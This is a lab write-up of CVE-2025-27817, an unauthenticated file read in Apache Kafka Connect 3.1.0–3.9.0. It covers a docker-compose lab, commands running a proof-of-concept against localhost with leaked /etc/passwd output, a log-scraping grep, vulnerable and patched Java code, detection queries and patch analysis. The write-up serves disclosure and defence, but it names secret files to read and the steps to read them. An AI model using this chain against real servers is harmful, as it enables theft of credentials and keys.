Apache Kafka Connect, the integration framework used by thousands of organisations to stream data between systems, harbours a vulnerability that allows an unauthenticated attacker to read arbitrary files from the server. CVE-2025-27817 exploits a gap in URI scheme validation within the SASL OAuthBearer authentication handler: by injecting a file:// URI through the connector configuration REST API, an attacker forces the Kafka Connect worker to read a local file and leak its full contents through a JWT parsing error message. No plugins, no credentials, no user interaction required.
What is Apache Kafka Connect?
Apache Kafka Connect is a scalable, fault-tolerant framework for streaming data between Apache Kafka and external systems such as databases, key-value stores, search indexes, and file systems. It runs as a distributed service with a cluster of workers coordinated through the Kafka broker itself. Connectors (source or sink) are configured and managed through a REST API that listens on port 8083 by default. Kafka Connect ships with several built-in connectors, including MirrorHeartbeatConnector, which is part of the MirrorMaker 2 replication suite. In most deployments, the REST API is unauthenticated, making it a high-value target for attackers who can reach the network.
Attack Flow

CVE-2025-27817 is an arbitrary file read vulnerability caused by the intersection of two design flaws in Apache Kafka Connect:
- Missing URI scheme validation on the SASL OAuthBearer token endpoint URL. The configuration property sasl.oauthbearer.token.endpoint.url is intended to point to an OAuth2 token endpoint over HTTP or HTTPS. However, versions 3.1.0 through 3.9.0 perform no validation on the URI scheme, meaning a file:// URI is silently accepted.
- File contents leaked through error messages. When a file:// URI is provided, the OAuthBearerLoginCallbackHandler reads the entire file from disk and passes its contents to the JWT parser. The parser fails because the file is not a valid JWT token and throws an exception containing the full file contents:
- Malformed JWT provided (<ENTIRE FILE CONTENTS>); expected three sections (header, payload, signature) separated by ‘.’
This error message propagates into the Kafka Connect worker logs, exposing the contents of any file readable by the Kafka process. When combined with the unauthenticated REST API, an external attacker can read sensitive files such as `/etc/`passwd, `/etc/`shadow (if Kafka runs as root), database credentials, private keys, and Kafka broker bootstrap credentials.
Building the Lab
To reproduce the vulnerability we deploy Apache Kafka 3.8.0 in KRaft mode (no ZooKeeper dependency) alongside a Kafka Connect worker that has connector.client.config.override.policy=All enabled – the configuration required for producer.override.* injection to be accepted.
docker-compose.yml
version: '3.8'
services:
kafka:
image: apache/kafka:3.8.0
container_name: kafka-cve-2025-27817
environment:
KAFKA_NODE_ID: 1
KAFKA_PROCESS_ROLES: broker,controller
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,CONTROLLER://0.0.0.0:9093
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
KAFKA_LOG_DIRS: /tmp/kraft-combined-logs
CLUSTER_ID: "MkU3OEVBNTcwNTJENDM2Qk"
ports:
- "9092:9092"
kafka-connect:
image: apache/kafka:3.8.0
container_name: kafka-connect-cve-2025-27817
depends_on:
- kafka
command: >
/opt/kafka/bin/connect-distributed.sh /opt/kafka/config/connect-distributed.properties
environment:
KAFKA_CONNECT_BOOTSTRAP_SERVERS: kafka:9092
KAFKA_CONNECT_GROUP_ID: connect-cluster
KAFKA_CONNECT_CONFIG_STORAGE_TOPIC: connect-configs
KAFKA_CONNECT_OFFSET_STORAGE_TOPIC: connect-offsets
KAFKA_CONNECT_STATUS_STORAGE_TOPIC: connect-status
KAFKA_CONNECT_CONFIG_STORAGE_REPLICATION_FACTOR: 1
KAFKA_CONNECT_OFFSET_STORAGE_REPLICATION_FACTOR: 1
KAFKA_CONNECT_STATUS_STORAGE_REPLICATION_FACTOR: 1
KAFKA_CONNECT_KEY_CONVERTER: org.apache.kafka.connect.json.JsonConverter
KAFKA_CONNECT_VALUE_CONVERTER: org.apache.kafka.connect.json.JsonConverter
KAFKA_CONNECT_REST_PORT: 8083
KAFKA_CONNECT_CONNECTOR_CLIENT_CONFIG_OVERRIDE_POLICY: All
ports:
- "8083:8083"
Critical configuration detail: KAFKA_CONNECT_CONNECTOR_CLIENT_CONFIG_OVERRIDE_POLICY: All is what allows producer.override.* to be accepted in connector configs. In many production deployments this is set to All to support per-connector security configurations – making the issue realistic, not contrived.
Start the Lab
cd CVE-2025-27817/lab
docker compose up -d
# Wait ~30 seconds for Kafka + Connect to come up, then verify
curl -s http://localhost:8083/ | jq .
# {
# "version": "3.8.0",
# "commit": "771b9576b00ecf39",
# "kafka_cluster_id": "MkU3OEVBNTcwNTJENDM2Qk"
# }
A version value in the range 3.1.0 – 3.9.0 confirms the lab is vulnerable.

PoC (Proof of Concept)
The PoC script exploit.py automates the full chain: reconnaissance, malicious connector deployment, log scraping for the leaked file contents, and cleanup.
Reconnaissance

If the response shows version 3.1.0 through 3.9.0, the target is vulnerable.
Run the Exploit
cd CVE-2025-27817/exploit
python3 exploit.py -t http://localhost:8083 -f /etc/hostname
Expected output:
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-27817 - Kafka Connect File Read PoC ║
║ Apache Kafka 3.1.0 - 3.9.0 ║
╚═══════════════════════════════════════════════════════════╝
Target: http://localhost:8083
File: /etc/hostname
Bootstrap Servers: kafka:29092
Container: kafka-connect
[*] Checking if the target is accessible...
[+] Target is accessible!
[+] Version: 3.8.0
[!] Version appears VULNERABLE to CVE-2025-27817
[*] Step 1: Creating a malicious connector...
[+] Connector created successfully!
[*] Waiting for the connector to initialize and trigger authentication...
[*] Step 2: Extracting file contents from Docker logs...
[+] SUCCESS! File contents extracted!
============================================================
kafka-connect
============================================================
[*] Step 3: Cleaning up - deleting connector...
[+] Connector deleted successfully!
[+] EXPLOITATION SUCCESSFUL!


Read `/etc/`passwd

The script returns the full contents of `/etc/`passwd extracted from the Connect worker’s error log:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
appuser:x:1000:1000:Linux User,,,:/home/appuser:/bin/bash

Behind the Scenes – The Malicious Connector Payload
The PoC sends this JSON to POST /connectors:

After ~5 seconds the script scrapes the worker’s logs for the leaked content:
docker logs kafka-connect-cve-2025-27817 2>&1 | \
grep -oP 'Malformed JWT provided \(\K[^)]+(?=\); expected three sections)'
Static Analysis
The vulnerability is small to describe but compounded by six independent design decisions. Removing any one of them would have prevented exploitation. The fact that all six were present in the same code path is what made the exploit one HTTP POST long.
Why a “Token Endpoint URL” Configures Anything at All
Kafka’s OAuthBearerLoginCallbackHandler was introduced in KIP-255 (“SASL/OAUTHBEARER Authentication”). The relevant config property is documented as:
sasl.oauthbearer.token.endpoint.url – The URL for the OAuth2 issuer’s token endpoint. Should support HTTPS in production.
The intended flow is: a Kafka client without long-lived credentials calls this URL, sends grant_type=client_credentials, and gets a JWT back. The handler then passes that JWT to the broker during the SASL handshake. All of this happens inside the client (producer/consumer), not the broker. That detail matters because the attack repurposes the client-side SASL machinery to read files on the server-side JVM (Kafka Connect worker) – by making Connect itself act as the SASL client when it creates a producer.
The REST API – Unauthenticated by Default, Powerful by Design
The Kafka Connect REST API is the management plane: it doesn’t just describe the worker, it can mutate it.
| Endpoint | Method | Effect |
|---|---|---|
| / | GET | Worker version, commit, cluster id |
| /connector-plugins | GET | All available connector classes (including MirrorHeartbeatConnector) |
| /connectors | POST | Create a new connector with arbitrary config – the exploit’s entry |
| /connectors/{n} | PUT | Replace a connector’s config |
| /connectors/{n}/config | PUT | Same |
| /connectors/{n}/restart | POST | Restart – forces re-init, useful when first attempt didn’t trigger |
| /connectors/{n} | DELETE | Remove – used by the PoC to clean up |
| /connectors/{n}/status | GET | Returns task state and stack trace messages – a side channel |
Default binding is 0.0.0.0:8083. There is no built-in auth, no API key, no mTLS, no RBAC. The only optional protection is listeners.https plus a reverse proxy, which most production deployments don’t configure on internal worker pools.
HttpAccessTokenRetriever.retrieve() – The Pivot

The vulnerable retriever is the bridge between the configured token endpoint and the JWT parser:
// HttpAccessTokenRetriever.java (vulnerable in 3.1.0 – 3.9.0)
public class HttpAccessTokenRetriever implements AccessTokenRetriever {
private final String tokenEndpointUrl;
private final SSLSocketFactory sslSocketFactory; // Only used if scheme == https
private final String clientCredentials;
private final long loginRetryBackoffMs;
public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
this.tokenEndpointUrl = tokenEndpointUrl; // <- stored verbatim, no check
...
}
@Override
public String retrieve() throws IOException {
URL url = new URL(tokenEndpointUrl);
URLConnection conn = url.openConnection(); // <- dispatches by scheme
// The branches below only matter for http/https. For file:// the call
// above already returned a sun.net.www.protocol.file.FileURLConnection,
// whose getInputStream() opens a FileInputStream and slurps the file.
try (InputStream is = conn.getInputStream();
ByteArrayOutputStream out = new ByteArrayOutputStream()) {
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) > 0) out.write(buf, 0, n);
return out.toString(StandardCharsets.UTF_8); // <- "token" = file contents
}
}
}
java.net.URL has been pluggable since JDK 1.0 – it picks a URLStreamHandler based on the scheme. For file:, the handler is sun.net.www.protocol.file.Handler, whose openConnection() returns a FileURLConnection that ignores HTTP semantics and reads bytes from disk. The retriever has no way to know whether is is wrapped around a socket or a file descriptor; it just treats the byte stream as an opaque “response body.”
OAuthBearerUnsecuredJws – The Error Message That Leaks the File
When retrieve() returns the “token,” the SASL stack hands it to OAuthBearerUnsecuredJws for validation:
// OAuthBearerUnsecuredJws.java (vulnerable & current — error message is by design)
public OAuthBearerUnsecuredJws(String compactSerialization, …) {
this.compactSerialization = compactSerialization;
String[] splits = compactSerialization.split(“\\.”);
if (splits.length != 3) {
throw new OAuthBearerIllegalTokenException(
new OAuthBearerValidationResult(false,
“Malformed JWT provided (” + compactSerialization +
“); expected three sections (header, payload, signature) ” +
“separated by ‘.'”));
}
…
}
The decisive detail is compactSerialization being inlined into the error message. A well-known anti-pattern: validators that echo their input in error messages turn every parser failure into an oracle. When the input is a file’s contents, the oracle leaks the file.
This error then propagates through the SASL handshake, gets wrapped in a SaslAuthenticationException, and is finally written to the Connect worker’s log by the task framework:
[2026-05-18 10:14:22,901] ERROR [malicious-connector|task-0]
WorkerSinkTask{id=malicious-connector-0} Task threw an uncaught and unrecoverable exception
(org.apache.kafka.connect.runtime.WorkerSinkTask:206)
org.apache.kafka.common.errors.SaslAuthenticationException:
Malformed JWT provided (root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
... <full file contents> ...
); expected three sections (header, payload, signature) separated by '.'
The exploit scrapes that line out of docker logs with one regex.
producer.override.* – The Config Injection Lever
Kafka Connect’s WorkerConfig defines a class hierarchy for “client config override policies”:
public interface ConnectorClientConfigOverridePolicy extends Configurable, AutoCloseable {
List<ConfigValue> validate(ConnectorClientConfigRequest request);
}
Three implementations ship with Connect:
| Policy | Allowed overrides | Use case |
|---|---|---|
| None | none | Maximum lock-down |
| Principal | only sasl.jaas.config | Multi-tenant clusters where each connector authenticates as a different principal |
| All | all producer.* / consumer.* / admin.* properties | Maximum flexibility – and the default many distros recommend in their docs |
The All policy was added precisely to support per-connector SASL configurations – the same code path the exploit abuses. The patch in 3.9.1 doesn’t change the default policy; it makes the token-endpoint URL safe regardless of which policy is in effect, which is the right scope.
MirrorHeartbeatConnector – Why This Specific Connector
MirrorHeartbeatConnector is a 200-line class from MirrorMaker 2 whose job is to emit a single “heartbeat” record on a timer. It has three properties that make it the ideal payload vehicle:
- Always present – shipped as part of connect-mirror.jar on every Connect installation.
- Tiny config surface – only requires source.cluster.alias, target.cluster.alias, and bootstrap.servers. Means the JSON payload stays small and obviously-shaped.
- Creates a KafkaProducer on start() – the producer construction is what reads producer.override.* and walks straight into SaslChannelBuilder.
A custom connector plugin would also work, but installing one requires write access to the plugin directory – which most attackers won’t have. MirrorHeartbeatConnector removes that requirement entirely.
The Full Call Stack – POST /connectors to FileInputStream
The exploit’s lifecycle on the Connect worker, with the actual class names:

Steps 12–17 are the entire vulnerability surface. Everything before is reachable by any unauthenticated REST caller; everything after is plumbing.
Adjacent Attack Surface – Other URI Properties That Almost Have the Same Bug
The same review that uncovered CVE-2025-27817 implicitly raised flags on other config properties that take a URL string. The patch only touches sasl.oauthbearer.token.endpoint.url, so it’s worth knowing which siblings are now-safe and which are not:
| Property | Used by | Scheme validation in 3.9.1+? |
|---|---|---|
| sasl.oauthbearer.token.endpoint.url | OAuth client | Fixed (allow-list http/https) |
| sasl.oauthbearer.jwks.endpoint.url | OAuth client (JWKS fetch) | Fixed by the same PR |
| confluent.support.metrics.endpoint.insecure.enable | Confluent telemetry | Not affected (different library) |
| Schema Registry schema.registry.url | Connect converter | Still URL-typed – separate review recommended |
Detection – Signatures and Telemetry
For 3.1.0–3.9.0 deployments that cannot upgrade immediately:
- REST audit: every successful POST /connectors with producer.override.sasl.oauthbearer.token.endpoint.url in the body is exploitation. The string file:// in any connector config is malicious.
- Worker log: the substring Malformed JWT provided ( followed by anything other than whitespace + dot-separated base64 is exploitation. A simple Loki/ELK query: “Malformed JWT provided (” AND NOT regex(“Malformed JWT provided \\([A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\)”).
- Connector status: GET /connectors/*/status returning FAILED tasks whose trace field contains Malformed JWT provided ( – the side channel also visible via REST.
- Network: any outbound DNS resolution from a Connect worker to a non-OAuth-provider host shortly after a connector creation. (For variants where the attacker uses http:// to a controlled exfil server.)
Why Allow-List Beats Block-List Here Too
A tempting “minimum” fix would be: block file:. That fails for the same reason JdkMarshaller deny-lists fail (see CVE-2024-52577): jar:file:!/, netdoc:, custom URL handlers registered via java.protocol.handler.pkgs, even data: in newer JDKs would all need separate handling. The 3.9.1 patch wisely allow-lists http/https. Future-proof, one line.
Patch Diffing
The Fix
The patch introduced in Apache Kafka 3.9.1 adds URI scheme validation to the sasl.oauthbearer.token.endpoint.url configuration property. The fix rejects any URL whose scheme is not http or https, blocking file://, ftp://, jar://, and other dangerous URI schemes.
Before – Kafka 3.1.0 – 3.9.0
// HttpAccessTokenRetriever.java (vulnerable)
public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
this.tokenEndpointUrl = tokenEndpointUrl;
// No URI scheme check — file://, ftp://, jar:// all accepted
}
Any string that Java’s URL class can parse is accepted, including file:`/etc/`passwd.
After – Kafka 3.9.1+
// HttpAccessTokenRetriever.java (patched)
public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
URI uri = URI.create(tokenEndpointUrl);
String scheme = uri.getScheme();
if (scheme == null || (!scheme.equalsIgnoreCase("http") && !scheme.equalsIgnoreCase("https"))) {
throw new ConfigException(
"The OAuth token endpoint URL must use the http or https scheme, but got: " + scheme);
}
this.tokenEndpointUrl = tokenEndpointUrl;
}
With this check in place, a file: `/etc/`passwd URI is rejected at connector creation time with a clear ConfigException, and the file is never read.

This Fix Works
- Validation happens at config time, not request time. The check fires when the connector is being constructed, so the malicious URI is rejected before any SASL handshake or file I/O occurs.
- Scheme allow-list. Only http and https are accepted – a deny-list would have been brittle against future URI schemes. The allow-list closes the door on file, ftp, jar, netdoc, and any other scheme Java’s URL stack supports.
- Clear failure mode. A ConfigException is raised with a descriptive message, so legitimate users misconfiguring HTTPS get a helpful error instead of silent file reads.
Conclusion
CVE-2025-27817 is a textbook layered failure on Apache Kafka Connect 3.1.0–3.9.0 missing scheme validation on sasl.oauthbearer.token.endpoint.url, an over-permissive java.net.URL API that transparently dispatches file:// to FileURLConnection, and a debug-friendly OAuthBearerUnsecuredJws error message that inlines the raw “token” — none catastrophic alone, but composed together they collapse into an unauthenticated arbitrary file read reachable through a single POST /connectors on the default-open REST port 8083. Classified as information disclosure, real impact is foothold-grade: DB passwords, API keys, Kafka JAAS creds, cloud secrets, SSH keys, and /var/run/secrets/kubernetes.io/serviceaccount/token all exfiltratable from any file the Kafka process can read — enough for lateral movement, privilege escalation, and full infrastructure compromise on a service thousands of orgs expose internally. The 3.9.1 patch lands the right fix at the right layer — allow-list http/https at config-construction time, fail fast with ConfigException — and the dura


